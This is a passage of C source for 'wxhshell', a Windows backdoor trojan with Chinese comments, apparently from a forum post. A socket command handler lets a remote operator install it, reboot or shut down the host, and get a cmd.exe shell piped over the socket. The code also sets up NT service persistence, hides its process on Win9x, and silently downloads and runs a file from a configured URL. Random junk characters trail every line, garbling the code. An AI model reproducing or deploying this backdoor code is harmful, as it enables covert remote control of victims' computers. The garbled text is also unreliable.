  // 帮助 rqiH!R  
  case '?': { 3UW`Jyd`k  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); rPBsr<k#5  
    break; &=*1[j\  
  } =,q/FY:  
  // 安装 [%R?^*]  
  case 'i': { re/u3\S  
    if(Install()) <9"@<[[,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t( V 2  
    else %'h:G Bkd  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PX_9i@ZG  
    break; |v@_~HV  
    } Og1\6Q  
  // 卸载 ?Fa$lE4  
  case 'r': { &Ep$<kx8  
    if(Uninstall()) VyN F)$'T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }Hg\ tj}i  
    else f/Y7@y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <dE~z]P  
    break; 2]Cn<zJ  
    } x1`(Z|RJ  
  // 显示 wxhshell 所在路径 o6|- :u5_/  
  case 'p': { lH`c&LL-=!  
    char svExeFile[MAX_PATH]; "Dk@-Ac  
    strcpy(svExeFile,"\n\r"); ^Ss <<  
      strcat(svExeFile,ExeFile); eN|zD?ba&  
        send(wsh,svExeFile,strlen(svExeFile),0); \'u+iB g  
    break; [.Md_  
    } bZgo}`o%  
  // 重启 L\"wz scn  
  case 'b': { zVtTv-DU  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); EZ/_uj2&SN  
    if(Boot(REBOOT)) ) ?kbHm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mZ? jpnd  
    else { ]AM*9!  
    closesocket(wsh); ws,?ImA  
    ExitThread(0); i( +Uvtgs  
    } 5uSg]2:  
    break; Gs|a$^V|o  
    } |}e"6e%  
  // 关机 uEr.LCAS  
  case 'd': { R\n@q_!`X  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);  PBW_9&d  
    if(Boot(SHUTDOWN)) 6tP!(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n} !')r  
    else { /Us+>vg!  
    closesocket(wsh); !,Gavt7f  
    ExitThread(0); C" `\[F`.k  
    } il{x?#Wrb  
    break; /8`9SS  
    } @>~S$nw/  
  // 获取shell UHi^7jQ  
  case 's': { P| ?nx"c  
    CmdShell(wsh); qFDy)4H)  
    closesocket(wsh); #')] ~Xa  
    ExitThread(0); U v>^ Z2  
    break; ! @Vj&>mH$  
  } w^HI lA  
  // 退出 bOrE86v:  
  case 'x': { PIFZ '6gn  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); R6>*n!*D@  
    CloseIt(wsh); &1=,?s]&  
    break; Fd80T6[  
    } `LIlR8&@aX  
  // 离开 WTt /y\'6  
  case 'q': { K^GvU0\  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); iH]0 YT.E  
    closesocket(wsh); +JD^5J,-NJ  
    WSACleanup(); >2}*L"YC  
    exit(1); _f "I%QTL  
    break; I 6<LKI/  
        } R*W1<W%q=  
  } Ue,eEer  
  } 23p.g5hJi  
5HL>2 e[  
  // 提示信息 a04S&ezj  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {/?{UbU  
} em^2\*sxpA  
  } WRAv>s9  
>[T6/#M  
  return; }c4F}Cy  
} uF|[MWcy0#  
e 1bV&  
// shell模块句柄 e2;=OoBK  
int CmdShell(SOCKET sock) 2%fkXH<  
{ [vY)y\W{  
STARTUPINFO si; p"cY/2w:j  
ZeroMemory(&si,sizeof(si)); l`0JL7  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @.`HvS  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; hdM?Uoo(4a  
PROCESS_INFORMATION ProcessInfo; *x 2u  
char cmdline[]="cmd"; 3+U2oI:I  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); X88I|Z'HIh  
  return 0; r[j@@[)"  
} Cd p_niF  
!g>mjD  
// 自身启动模式 5=8_Le  
int StartFromService(void) hiR+cPSF  
{ T~}g{q,tR  
typedef struct X/Fip 0i  
{ s\3ZE11L  
  DWORD ExitStatus; P8CIKoKCV  
  DWORD PebBaseAddress; hE2{m{^A  
  DWORD AffinityMask; t `\l+L  
  DWORD BasePriority; o1]1I9  
  ULONG UniqueProcessId; X)[QEq^  
  ULONG InheritedFromUniqueProcessId; ;%u)~3B$JK  
}   PROCESS_BASIC_INFORMATION; dwzk+@]8  
V+*1?5w  
PROCNTQSIP NtQueryInformationProcess; kwt;pxp i  
?0s&Kz4B  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; SnO,-Rg  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Qej<(:J5  
uA%F0oM  
  HANDLE             hProcess; XT==N-5,  
  PROCESS_BASIC_INFORMATION pbi; &hhxp1B  
Rg~[X5  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \nVoBW(  
  if(NULL == hInst ) return 0; _&@cU<bdee  
uk.x1*0x  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); *;.:UR[i  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 9 &Od7Cn  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");  _8z  
,(#n8|q4  
  if (!NtQueryInformationProcess) return 0; )7rMevF(xJ  
VN@ZYSs  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5hiuBf<  
  if(!hProcess) return 0; &gm/@_  
3_ =:^Z  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +n8,=}  
O}Do4>02  
  CloseHandle(hProcess); KR4RIJZ_t  
@|~D?&<\  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `jDmbD +=  
if(hProcess==NULL) return 0; ;wr]_@<~  
(]<G)+*  
HMODULE hMod; SY2((!n._  
char procName[255]; R&}{_1dj8  
unsigned long cbNeeded; QlxlT$o}  
3Q+THg3~?  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); qSL~A-  
KH1/B_.\V  
  CloseHandle(hProcess); X@B,w_b  
@j4~`~8  
if(strstr(procName,"services")) return 1; // 以服务启动 eJ$ {`&J  
B;L^!sLP  
  return 0; // 注册表启动 2) A$bx  
} H*dQT y,  
}KrZ6cG9#  
// 主模块 kI$X~s$r  
int StartWxhshell(LPSTR lpCmdLine) zB{be_Tw  
{ W3i X;-Z  
  SOCKET wsl; |fm"{$u  
BOOL val=TRUE; IAn/?3a~  
  int port=0; en gh3TZC  
  struct sockaddr_in door; 3^AS8%qG  
z#| tl/aP9  
  if(wscfg.ws_autoins) Install(); (KG>lTdN  
KfNR)  
port=atoi(lpCmdLine); s^AZ)k~J(  
3sGe#s%  
if(port<=0) port=wscfg.ws_port; }Rq-IRa'  
#EU x1II  
  WSADATA data; ,b8B)VZ?  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; b;sjw5cm_  
v~HfA)#JK  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   -U_<:  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); YJrZ  
  door.sin_family = AF_INET; X?.LA7)CK  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^ )/oDyO  
  door.sin_port = htons(port); eTa[~esu.  
[5kaF"  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <?iwi[S  
closesocket(wsl); *YY:JLe  
return 1; [mk!] r  
} 0IjQqI  
"Mmvf'N  
  if(listen(wsl,2) == INVALID_SOCKET) { /!0{9F<  
closesocket(wsl); X<"W@  
return 1; %7rWebd-  
} o%A@ OY  
  Wxhshell(wsl); ;H8A"$%n~  
  WSACleanup(); Ow]c,F}^  
hu qQ0  
return 0; pfvNVu  
/F 1mYq~  
} }mw31=2bD  
3AD^B\<gB  
// 以NT服务方式启动 tpi63<N  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #| Et9  
{ w_i$/`i+  
DWORD   status = 0; 6*2z^P9FRj  
  DWORD   specificError = 0xfffffff; I6FglVQ6  
N5[fw z w  
  serviceStatus.dwServiceType     = SERVICE_WIN32; } Pc6_#  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 5 lC"10  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~?{@0,$  
  serviceStatus.dwWin32ExitCode     = 0; dKyX70Zy9  
  serviceStatus.dwServiceSpecificExitCode = 0; e]{X62]  
  serviceStatus.dwCheckPoint       = 0; aKC3T-  
  serviceStatus.dwWaitHint       = 0; b9([)8  
S\jN:o#b  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); scUWI"  
  if (hServiceStatusHandle==0) return; =X2EF  
" U&   
status = GetLastError(); U vOB`Vj  
  if (status!=NO_ERROR) x_ \e&"x  
{ @cF aYI  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ~z!U/QR2  
    serviceStatus.dwCheckPoint       = 0; =`rESb[  
    serviceStatus.dwWaitHint       = 0; l+Tw#2s$  
    serviceStatus.dwWin32ExitCode     = status; %zB `Sd<  
    serviceStatus.dwServiceSpecificExitCode = specificError; w]\O3'0Js  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); |L7 `7!Z  
    return; }T+pd#>  
  } 7@Qz  
S-:l 60.  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; T;}pMRd%  
  serviceStatus.dwCheckPoint       = 0; 4jrY3gyBX  
  serviceStatus.dwWaitHint       = 0; QSy=JC9  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Qp${/  
} ^r$P&}Z\b  
mi3yiR  
// 处理NT服务事件,比如:启动、停止 ;^FV  
VOID WINAPI NTServiceHandler(DWORD fdwControl) pUr.<yc&u  
{ TP oP%Yj"  
switch(fdwControl) 70m}+R(`  
{ y_8 8I:O  
case SERVICE_CONTROL_STOP: -q\1Tlc]3  
  serviceStatus.dwWin32ExitCode = 0; BaTE59W  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; A=|&N%lP'  
  serviceStatus.dwCheckPoint   = 0; O&irgc!  
  serviceStatus.dwWaitHint     = 0; c0jC84*v  
  { =8fp4# ]7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); dM7-,9Vc  
  } Vo"\nj  
  return; \ey3i((L  
case SERVICE_CONTROL_PAUSE: t*^Q`V wQ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; +B%ZB9  
  break; nYMdYt04sl  
case SERVICE_CONTROL_CONTINUE: eEQ 4L\d  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; dH zo_VV  
  break; ;Zc(qA  
case SERVICE_CONTROL_INTERROGATE: !B(6  
  break; q!9SANTx  
}; R y0n_J:7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); zrG&p Z  
} _Y*]'?g`  
Q5/".x^@  
// 标准应用程序主函数 5B@+$D[0?3  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) o|AV2FM)  
{ b4s.`%U  
Z@ * ^4Ve  
// 获取操作系统版本 B9n$8QS  
OsIsNt=GetOsVer(); IiIF4 pQ,  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ~(%nnG6x  
S!k cC-7  
  // 从命令行安装 o6ec\v!l-  
  if(strpbrk(lpCmdLine,"iI")) Install(); n_hV;  
u-At k-2M  
  // 下载执行文件 ](@Tbm8  
if(wscfg.ws_downexe) { %X O97  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) .T/\5_Bx  
  WinExec(wscfg.ws_filenam,SW_HIDE); vVmoV0kGt  
} y'pAhdF  
kl_JJX6jPP  
if(!OsIsNt) { DnP>ed"M!  
// 如果时win9x,隐藏进程并且设置为注册表启动 a&p|>,WS  
HideProc(); tD.md _E  
StartWxhshell(lpCmdLine); |28z4.  
}  =h\,-8  
else ;dNKe.`Dg  
  if(StartFromService()) cRK1JxU  
  // 以服务方式启动 [GX5jD#  
  StartServiceCtrlDispatcher(DispatchTable); 4}Y2 B$  
else :e`;["(,  
  // 普通方式启动 ~%B^`s  
  StartWxhshell(lpCmdLine); =M)+O%`*6  
u!];RHOp|  
return 0; 1p<m>s=D=e  
}
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只看该作者 1 发表于: 2006-10-10
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